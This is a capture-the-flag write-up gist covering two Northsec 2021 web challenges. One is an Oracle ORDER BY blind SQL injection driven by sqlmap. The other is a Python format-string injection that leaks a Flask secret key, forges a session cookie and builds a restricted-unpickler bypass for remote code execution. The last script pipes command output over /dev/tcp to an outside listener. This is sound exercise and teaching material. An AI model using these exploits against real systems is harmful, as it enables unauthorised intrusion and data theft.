Skip to content

Instantly share code, notes, and snippets.

@allanlw
Last active May 30, 2021 13:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save allanlw/81a457974b8db16c5ab7f6584a388680 to your computer and use it in GitHub Desktop.
Save allanlw/81a457974b8db16c5ab7f6584a388680 to your computer and use it in GitHub Desktop.
Northsec 2021 writeups

My favorite challenges for 2021 were Wizlog and Kinder Market, so here are writeups for both. - @Allan_Wirth

Kinder Market

Kinder market was a web challenge. Loading the main page gave you this interface.

Screnshot

You can search for different users. The challenge description told us there was a 'hidden' user that we needed to find.

Right away, I noticed that the "sort by" field looked exactly like SORT BY SQL clause:

    <select class="form-control" name="sort_by">
        <option value="random">Random</option>
        <option value="age">Young</option>
        <option value="age DESC">Elder</option>
        <option value="wealth">Poor</option>
        <option value="wealth DESC">Rich</option>
        <option value="creation_date">Older profile</option>
        <option value="creation_date DESC">Newer profile</option>
        <option value="name">Name Ascending</option>
        <option value="name DESC">Name Descending</option>
    </select>

To test this, I tried setting the field to age, name, which didn't return an error and changed the sort. foo, (or garbage) returned an error. I figured we had an order by injection.

I'll note at this point I fired of an sqlmap run which didn't find anything. It never does at NSEC becuase the challenge designers don't want skiddies to get points.

I verified that parens were allowed by checking if LOWER(name) worked, which it did.

Normally, northsec CTF challenges use Postgres, MySQL or SQLite. I tried to fingerprint the database using the following functions:

None of these database-specific functions worked, which was a bit perplexing, but after double checking that I was calling functions correctly, I tried branching out and landed on Oracle, which I verified by using the SYS_GUID function, which is oracle specific. sort_by=SYS_GUID() did not return an error.

My teammate Dan sent me a link to "Exploiting SQL Injection in ORDER BY on Oracle". For some reason I'm still not sure about, I wasn't able to get the described injection working. I think that there might have been a syntax error. (in fact, I failed to get CASE to work at all). I wanted to test my syntax on the public oracle sandbox but it was ironically down, so I had to run 100% blind.

For a blind injection to work, it must be possible to extract one bit at a time. The way that I decided to do this was to set sort_by to age * X, name, where X was either 1 or NULL. This way, if X was 1, it would be a sort by age, if X was NULL, it would be sort by name. With the provided data set, ordering by age puts Kevin first and sorting by name puts Valerie first. This can be verified to work with subqueries by sending age * (SELECT 1 FROM DUAL WHERE 1=1), name and age * (SELECT 1 FROM DUAL WHERE 0=1), name.

It's a massive pain to do blind SQL injection without sqlmap, so to get sqlmap to understand this injection, I used the --prefix and --suffix options to 'trick' sqlmap into injecting into my customized subquery. For some reason -o would not work with this strange setup, and I wasted some time on that, but got it working with this:

sqlmap \
    -u 'http://kinder-market.ctf/?name=&age=&wealth=&sort_by=age&page=1' \
    -p sort_by \
    --risk 3 \
    --level 5 \
    --dbms=oracle \
    --prefix=' * (SELECT 1 FROM DUAL WHERE 1=1 ' \
    --suffix='), name' \
    --technique=B \
    -vv \
    --threads 4

With this, sqlmap would generate inputs like age * (SELECT 1 FROM DUAL WHERE 1=1 AND (SELECT ...)), name, and use the two different pages returned to extract one bit at a time from the database.

To get the actual flag, I needed to extract the hidden user, I did that with:

sqlmap \
    -u 'http://kinder-market.ctf/?name=&age=&wealth=&sort_by=age&page=1' \
    -p sort_by \
    --risk 3 \
    --level 5 \
    --dbms=oracle \
    --prefix=' * (SELECT 1 FROM DUAL WHERE 1=1 ' \
    --suffix='), name' \
    -vv \
    --technique=B \
    -T PROFILE \
    --dump \
    --threads 8 \
    --where 'HIDDEN=0'

Which gave:

Database: CHAL
Table: PROFILE
[1 entry]
+----+-----+-------------------+--------+--------+-----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+
| ID | AGE | NAME              | HIDDEN | WEALTH | PICTURE               | DESCRIPTION                                                                                                                                                                                                                                                                                                                                                                                                             | CREATION_DATE |
+----+-----+-------------------+--------+--------+-----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+
| 6  | 8   | Camelia Salisbury | 0      | 5      | camelia_salisbury.png | FLAG-cf63f0125fc67ea8daddaa23acb6dcaa As an act of peace between our two kingdoms, me, Baron Gevodan Salisbury, sovereign leader of the tenth-thirtiest district, Deputy of the Honorable Duke of Longeyes, would like to offer my daughter's hand to a worthy citizen of North Sectoria. May our families unite together and show that technology can help us build bridges and bring down walls between our kingdoms. | 12-MAY-61     |
+----+-----+-------------------+--------+--------+-----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+

Submitting this to askgod revealed that it was the second flag for the challenge. The first flag was in the image file for Camelia Salisbury, which could have been gotten by browsing the /images/ folder for a directory listing.

Wizlog

Flag 1

Wizlog was a web challenge that provided an interface to format/filter log files. The challenge page described that there was a "secret" log that was not accessible.

Even if our art is still young, we are quickly improving our tools and techniques.
Wizlog is a tool that was developped for us. With some incantations you can change the shape of the application logs into anything you want.
You want to print the date before the log level, or prepend the message with a dash, you have the power, my dear apprentice.
I want you to try this tool. I also got a secret message for you that can only be read with the right magic words.
See if you can pierce the secret of the tool.

The default filter was something like: {log.date} | {log.value}. I noticed quickly that {log.__dict__} worked, which meant the injection was a python format string injection. I verified this by trying {log!r} and {log!s}, which are a syntax specific to format strings, and worked succesfully.

In most python breakout challenges, the trick is to traverse the object tree to access problematic globals. Usefully, user defined functions have a property __globals__ that contains a dict() of all the globals in the function's closure. So, I was able to access these globals by accessing log.__class__.__init__.__globals__. This contained the following relevant entries:

'base64': <module 'base64' from '/usr/lib/python3.8/base64.py'>,
'Flask': <class 'flask.app.Flask'>,
'session': <SecureCookieSession {'user': <wizlog.user.User object at 0x7f4b5fcd1160>}>,
'restricted_pickle': <module 'wizlog.restricted_pickle' from '/wizlog/venv/lib/python3.8/site-packages/wizlog/restricted_pickle.py'>,
'restricted_loads': <function restricted_loads at 0x7f4b6059a0d0>,
'user': <module 'wizlog.user' from '/wizlog/venv/lib/python3.8/site-packages/wizlog/user.py'>,
'User': <class 'wizlog.user.User'>,
'app': <Flask 'wizlog'>,
'FLAG': 'FLAG-360c18da7b11a992251f780d59c097b5',
'Serializer': <class 'wizlog.Serializer'>,
'MySession': <class 'wizlog.MySession'>,
'Log': <class 'wizlog.Log'>,
'logs': [<wizlog.Log object at 0x7f4b60593b20>, <wizlog.Log object at 0x7f4b60593cd0>, <wizlog.Log object at 0x7f4b60593bb0>],

This flag was the first of three flags.

Flag 2

It's important to note that in the python format specification mini-language that indexing dictionaries should not use quoted keys.

The challenge description showed us that some logs were only available to admins. The challenge was using SecureCookieSession, which is a Flask session provider that uses python pickled session objects encrypted/signed with a secret key.

Extracting the key was possible with: {log.__class__.__init__.__globals__[app].__dict__} yielding SECRET_KEY': b'jkLvJJ76WxJE25ZrnLiywUJjHJjvMsJ4'.

To decrypt the token, I used the itsdangerous python module, which is used under the hood by the Flask implementation. You need to make modules that match the serialized objects. Debugging a bit, I was able to decrypt the cookie and replace the values with:

import pickle
import base64
import hashlib
from itsdangerous  import URLSafeTimedSerializer
from flask.json.tag import TaggedJSONSerializer

import wizlog

class decode:
  @classmethod
  def loads(cls, x):
    return pickle.loads(base64.b64decode(x))
  @classmethod
  def dumps(cls, x):
    return base64.b64encode(pickle.dumps(x))

s = URLSafeTimedSerializer(
  b'jkLvJJ76WxJE25ZrnLiywUJjHJjvMsJ4',
  salt="cookie-session",
  signer_kwargs={"key_derivation":"hmac"},
  serializer=decode,
)

e = '.eJxLdwwOCwp0hAInyxzPcteUCL-c5IJgX2fjlILU3IqyqEpTw2SjsEqQXBhELiTHOdcpx8Mo1Nuz3DMxwi8tMjyoJDHcLDQzstw1KdetJCoq2NcpPMUwKsLPIMcjLDO50sQWAKgmJFg.YKkTZQ.PlXWVg5HgD9F0vC07uHYQo16S3Y'
u = s.loads(e)
print(u)
print(u['user'].__dict__)
u["user"].name = 'admin'
u["user"].is_admin = True
print(s.dumps(u))

I also had two make a directory wizlog, containing an empty __init__.py and a file user.py containing: class User: pass to appease pickle.

This gave the output:

{'user': <wizlog.user.User object at 0x7efc7b43fe20>}
{'is_admin': False, 'name': 'guest'}
b'.eJxLdwwOCwp0hAInyxzPcteUCL-c5IJgX2fjlILU3IqyqEpTw2SjsEqQXBhELiTHOdcpx8Mo1Nuz3DMxwi8tMjyoJDHcLDQTqCYp160kKirY1yncLTspPKc0xyMsM7nSxBYAq7Ikzg.YK0J5w.qD9Stqbzkt_GPK6QbF2FJlAsgCc'

Setting this as the session cookie gave the second flag on page load.

Flag 3 (RCE)

Finding the Bug

Unleash your bounds, and wield one of the greatest powers there is: spawn a portal to the sHell.

The final step of the challenge was to get Remote Code Execution. The obvious way to do this was through a pickle deserialization vulnerability, but from the previously dumped globals it was clear that the service was using a custom restricted pickle. I tried a normal pickle payload just to double check and it failed.

Using the following code I got the definition of the RestrictedUnpickler to understand it better:

{log.__class__.__init__.__globals__[restricted_pickle].__dict__}

Showed there was a RestrictedUnpickler class.

{log.__class__.__init__.__globals__[restricted_pickle].RestrictedUnpickler.__dict__}

Gave:

{'__module__': 'wizlog.restricted_pickle', 'safe_module': {'wizlog.user'}, 'find_class': <function RestrictedUnpickler.find_class at 0x7f4b6059a160>, '__dict__': <attribute '__dict__' of 'RestrictedUnpickler' objects>, '__weakref__': <attribute '__weakref__' of 'RestrictedUnpickler' objects>, '__doc__': None}

The type signature for find_class is available in the python docs for the Unpickler class. This is method that is used to resolve globals when depickling.

To extract the function definition for find_class, I used the magic attributes that are available on code objects:

{log.__class__.__init__.__globals__[restricted_pickle].RestrictedUnpickler.find_class.__code__.co_consts}
# (None, "global '%s.%s' is forbidden")
{log.__class__.__init__.__globals__[restricted_pickle].RestrictedUnpickler.find_class.__code__.co_names}
# ('safe_module', 'pickle', 'UnpicklingError', 'super', 'find_class')
{log.__class__.__init__.__globals__[restricted_pickle].RestrictedUnpickler.find_class.__code__.co_varnames}
# ('self', 'module', 'name')
{log.__class__.__init__.__globals__[restricted_pickle].RestrictedUnpickler.find_class.__code__.co_code}
# b'|\x01|\x00j\x00k\x07r\x1ct\x01\xa0\x02d\x01|\x01|\x02f\x02\x16\x00\xa1\x01\x82\x01t\x03\x83\x00\xa0\x04|\x01|\x02\xa1\x02S\x00'

I used dis.dis to disassemble the bytecode, and replaced the load constants with the names I had extracted earlier:

          0 LOAD_FAST                1 ('module')
          2 LOAD_FAST                0 ('self')
          4 LOAD_ATTR                0 ('safe_module')
          6 COMPARE_OP               7 (not in)
          8 POP_JUMP_IF_FALSE       28
         10 LOAD_GLOBAL              1 ('pickle')
         12 LOAD_METHOD              2 ('UnpicklingError')
         14 LOAD_CONST               1 ("global '%s.%s' is forbidden")
         16 LOAD_FAST                1 ('module')
         18 LOAD_FAST                2 ('name')
         20 BUILD_TUPLE              2
         22 BINARY_MODULO
         24 CALL_METHOD              1
         26 RAISE_VARARGS            1
    >>   28 LOAD_GLOBAL              3 ('super')
         30 CALL_FUNCTION            0
         32 LOAD_METHOD              4 ('find_class')
         34 LOAD_FAST                1 ('module')
         36 LOAD_FAST                2 ('name')
         38 CALL_METHOD              2
         40 RETURN_VALUE

Rewritten in proper python code, this is:

  def find_class(self, module, name):
    if module not in self.safe_module:
      raise pickle.UnpicklingError("global '%s.%s is forbidden" % (module, name))
    return super().find_class(module, name)

So, the goal was the find a function that could be called in wizlog.user (the only entry in self.safe_module) that would be useful for RCE. The documentation for find_class says this:

find_class(module, name)

Import module if necessary and return the object called name from it, where the module and name arguments are str objects. Note, unlike its name suggests, find_class() is also used for finding functions.

Subclasses may override this to gain control over what type of objects and how they can be loaded, potentially reducing security risks. Refer to Restricting Globals for details.

Raises an auditing event pickle.find_class with arguments module, name.

Not being one to trust the documentation, I went to check the implementation. It turns out the documentation leaves out a crucial detail that can be seen in the actual definition of _find_class:

    def find_class(self, module, name):
        # Subclasses may override this.
        sys.audit('pickle.find_class', module, name)
        if self.proto < 3 and self.fix_imports:
            if (module, name) in _compat_pickle.NAME_MAPPING:
                module, name = _compat_pickle.NAME_MAPPING[(module, name)]
            elif module in _compat_pickle.IMPORT_MAPPING:
                module = _compat_pickle.IMPORT_MAPPING[module]
        __import__(module, level=0)
        if self.proto >= 4:
            return _getattribute(sys.modules[module], name)[0]
        else:
            return getattr(sys.modules[module], name)

Where _getattribute is defined as:

def _getattribute(obj, name):
    for subpath in name.split('.'):
        if subpath == '<locals>':
            raise AttributeError("Can't get local attribute {!r} on {!r}"
                                 .format(name, obj))
        try:
            parent = obj
            obj = getattr(obj, subpath)
        except AttributeError:
            raise AttributeError("Can't get attribute {!r} on {!r}"
                                 .format(name, obj)) from None
    return obj, parent

This shows that if the pickle version is greater than version 4 (which it is for python 3.8, the version they are running, as seen above), the name parameter in find_class is split on dots and recursively accessed. This means that RestrictedUnpickler.find_class does not only allow access to functions in wizlog.user, but it also allows access to functions in modules wizlog.user imports, recursively!

Note that the RestrictedUnpickler.find_class definition here was secure up to the implementation of pickle v4 (PEP 3154) (Python 3.4) which added support for serializing dot qualified names:

The __qualname__ attribute from PEP 3155 makes it possible to lookup many more objects by name. Making the STACK_GLOBAL opcode accept dot-separated names would allow the standard pickle implementation to support all those kinds of objects.

Constructing the Payload

Checking what wizlog.user imports, I found random, which imports _os as random._os. This contains system, which allows arbitrary code execution.

To construct the payload I looked at how the pickle module saves globals:

    def save_global(self, obj, name=None):
        write = self.write
        memo = self.memo

        if name is None:
            name = getattr(obj, '__qualname__', None)
        if name is None:
            name = obj.__name__

        module_name = whichmodule(obj, name)
        try:
            __import__(module_name, level=0)
            module = sys.modules[module_name]
            obj2, parent = _getattribute(module, name)
        except (ImportError, KeyError, AttributeError):
            raise PicklingError(
                "Can't pickle %r: it's not found as %s.%s" %
                (obj, module_name, name)) from None
        else:
            if obj2 is not obj:
                raise PicklingError(
                    "Can't pickle %r: it's not the same object as %s.%s" %
                    (obj, module_name, name))

With whichmodule defined as:

def whichmodule(obj, name):
    """Find the module an object belong to."""
    module_name = getattr(obj, '__module__', None)
    if module_name is not None:
        return module_name
    # Protect the iteration by using a list copy of sys.modules against dynamic
    # modules that trigger imports of other modules upon calls to getattr.
    for module_name, module in sys.modules.copy().items():
        if (module_name == '__main__'
            or module_name == '__mp_main__'  # bpo-42406
            or module is None):
            continue
        try:
            if _getattribute(module, name)[0] is obj:
                return module_name
        except AttributeError:
            pass
    return '__main__'

This meant that to make an RCE payload, I could return a function weird with __module__ and __qualname__ overwritten to be the right access path in the wizlog service. Note that it is also required to overwrite the wizlog.user.random._os.system function with the weird function because pickle verifies the reference when writing it out. I added an import for random to my wizlog.user module and, modified my previous script as so:

import pickle
import base64
import pickletools
import sys
import io
import requests
from itsdangerous import URLSafeTimedSerializer

import wizlog
import wizlog.user

def weird(x): pass
weird.__qualname__ = "random._os.system"
weird.__module__ = "wizlog.user"

class RCE:
    def __reduce__(self):
        return weird, ('bash -c "' + sys.argv[1] + ' > /dev/tcp/shell.ctf/9999"',)

class Unpickler(pickle.Unpickler):
  def find_class(self, namespace, name):
     print(namespace, name)
     return super().find_class(namespace, name)

class decode:
  @classmethod
  def loads(cls, x):
    return Unpickler(io.BytesIO(base64.b64decode(x))).load()
  @classmethod
  def dumps(cls, x):
    return base64.b64encode(pickle.dumps(x))

s = URLSafeTimedSerializer(
  b'jkLvJJ76WxJE25ZrnLiywUJjHJjvMsJ4',
  salt="cookie-session",
  signer_kwargs={"key_derivation":"hmac"},
  serializer=decode,
)

old_system = wizlog.user.random._os.system
wizlog.user.random._os.system = weird
dump = pickle.dumps(RCE())
# uncomment to test locally
#dump2 = s.dumps(RCE())
#wizlog.user.random._os.system = old_system
#s.loads(dump2)
#wizlog.user.random._os.system = weird

requests.get('http://wizlog.ctf/', cookies={"session": s.dumps(RCE()).decode("ascii")})

This executed correctly and piped the output to a netcat listener on shell.ctf:9999. Getting the final flag was then just a matter of cating the flag file.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment